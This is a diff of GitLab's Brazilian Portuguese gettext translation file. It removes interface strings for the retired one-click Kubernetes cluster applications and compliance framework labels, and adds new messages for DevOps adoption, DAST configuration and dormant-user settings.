@@ -5947,9 +5980,6 @@ msgstr "Não é possível criar o relatório de abuso. Este usuário foi bloquea
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr "Alterar marco"
msgid "Change path"
msgstr "Alterar caminho"
-msgid "Change permissions"
-msgstr "Alterar permissões"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr "Escolha um arquivo"
msgid "Choose a group"
msgstr "Escolha um grupo"
-msgid "Choose a role permission"
-msgstr "Escolha uma permissão de cargo"
-
msgid "Choose a template"
msgstr "Escolha um modelo"
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Escolha o grupo principal para importar seus repositórios."
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} foi instalado com sucesso no seu cluster Kubernetes"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} desinstalado com sucesso."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} atualizado com sucesso."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr "A adição de uma integração irá compartilhar o cluster entre todos o
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr "Todos os dados serão excluídos e não poderão ser restaurados."
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "Quaisquer pipelines em execução serão cancelados."
-
msgid "ClusterIntegration|Apply for credit"
msgstr "Inscreva-se para receber créditos"
@@ -7030,15 +7033,6 @@ msgstr "Domínio base"
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Cert-Manager"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Pacote de autoridade certificadora (Formato PEM)"
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Escolha quais dos seus ambientes usarão esse cluster."
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr "O nome do cluster é obrigatório."
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr "Copiar URL da API"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "Copiar certificado CA"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Copiar nome do cluster Kubernetes"
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr "Você sabia?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr "Ative ou desative conexão do GitLab com seu cluster Kubernetes."
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Habilite esta configuração se estiver usando o controle de acesso baseado em função (RBAC)."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr "Recuperando projetos"
msgid "ClusterIntegration|Fetching zones"
msgstr "Recuperando zonas"
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integração GitLab"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "Gitlab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr "Cluster de grupo"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Se você está configurando múltiplos clusters e você está usando auto DevOps, %{help_link_start}leia isso primeiro%{help_link_end}."
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingressar"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr "Ingress Endpoint"
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress oferece uma maneira de rotear solicitações para serviços com base no host ou caminho da solicitação, centralizando diversos serviços em um único ponto de entrada."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr "Cluster de instância"
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Nome do host Jupyter"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub, um concentrador multiusuário, gera, gerencia e faz proxy de várias instâncias do servidor de notebook Jupyter de usuário único. O JupyterHub pode ser usado para servir notebooks para uma classe de alunos, um grupo de ciência de dados corporativos ou um grupo de pesquisa científica."
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Nome de domínio Knative:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr "Knative Endpoint:"
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr "Nome de domínio Knative foi atualizado com sucesso."
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knative estende Kubernetes para fornecer um conjunto de componentes de middleware que são essenciais para construir aplicativos modernos, centrados em fontes e baseados em contêineres que podem ser executados em qualquer lugar: no local, na nuvem ou até mesmo em um datacenter de terceiros."
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr "Saiba mais sobre grupo de cluster Kubernetes"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Saiba mais sobre instância de cluster Kubernetes"
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Por favor, tenha certeza que sua conta no Google cumpre com os requisitos:"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr "Aponte um DNS curinga para este endpoint gerado para acessar seu aplicativo após ele ter sido implantado."
-
msgid "ClusterIntegration|Project cluster"
msgstr "Cluster do Projeto"
@@ -7516,15 +7411,6 @@ msgstr "Namespace do projeto (opcional, único)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr "Prefixo do namespace do projeto (opcional, único)"
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr "Remover configuração desse cluster Kubernetes para esse projeto. Isso
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "Substitua isso por seu próprio nome de host, se desejar. Se você fizer isso, aponte o nome do host para o endereço IP de entrada acima."
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "Solicitação para início de instalação falhou"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr "Solicitação para início de desinstalação falhou"
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr "Salvar alterações"
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr "Selecionar tipo de máquina"
@@ -7675,9 +7534,6 @@ msgstr "Selecione a zona"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Selecione a zone para escolher o tipo de máquina"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Token de serviço"
@@ -7696,27 +7552,12 @@ msgstr "Alguma coisa deu errado do nosso lado."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "Algo deu errado ao instalar %{title}"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr "Algo deu errado ao desinstalar %{title}"
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr "Algo deu errado ao atualizar o nome de domínio Knative."
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr "O certificado do Kubernetes usado para autenticar no cluster."
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "A URL usada para acessar a API do Kubernetes."
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr "O balanceador de carga e o IP associados serão excluídos e não poderão ser restaurados."
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr "O endpoint está em processo de atribuição. Verifique o seu cluster Kubernetes ou Quotas no Google Kubernetes Engine se demorar muito."
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "Desinstalar %{appTitle}"
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "Sua conta precisa de %{link_to_kubernetes_engine}"
@@ -7873,12 +7666,6 @@ msgstr "Zona"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "acesso ao Google Container Engine"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr "atende aos requisitos"
@@ -7951,6 +7738,9 @@ msgstr "A aprovação do proprietário do código é obrigatória"
msgid "Code owners"
msgstr "Proprietários de código"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr "Padrão"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr "Configuração"
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "Configure os runners do GitLab para começar a usar o Terminal da Web. %{helpStart}Saiba mais.%{helpEnd}"
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,8 +8745,8 @@ msgstr "Contribuidores"
msgid "Control emails linked to your account"
msgstr "Controle e-mails vinculados à sua conta"
-msgid "Control the display of third party offers."
-msgstr "Controle a exibição de ofertas de terceiros."
+msgid "Control whether to display third-party offers in GitLab."
+msgstr ""
msgid "Cookie domain"
msgstr ""
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "Copiar URL de clone do KRB5"
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "Criar a branch"
@@ -9456,9 +9222,6 @@ msgstr "Crie sua primeira página"
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr "Fuso horário do cron"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr "Projeto atual"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "Nó atual"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "Personalizar cores"
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -10081,6 +9844,18 @@ msgstr "%{firstProject}, %{rest} e %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr "Seletor de data"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr "Dias"
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr "Excluir comentário"
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
-msgstr "Diferenciar limite de conteúdo"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
+msgstr ""
msgid "Diff limits"
msgstr "Diferenciar limites"
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr "Não cole a parte privada da chave GPG. Cole a parte pública que começa com '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "Não exibir novamente"
msgid "Done"
msgstr "Pronto"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Baixar"
@@ -11923,9 +11728,6 @@ msgstr "Editar issues"
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr "Editar chave de deploy pública"
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
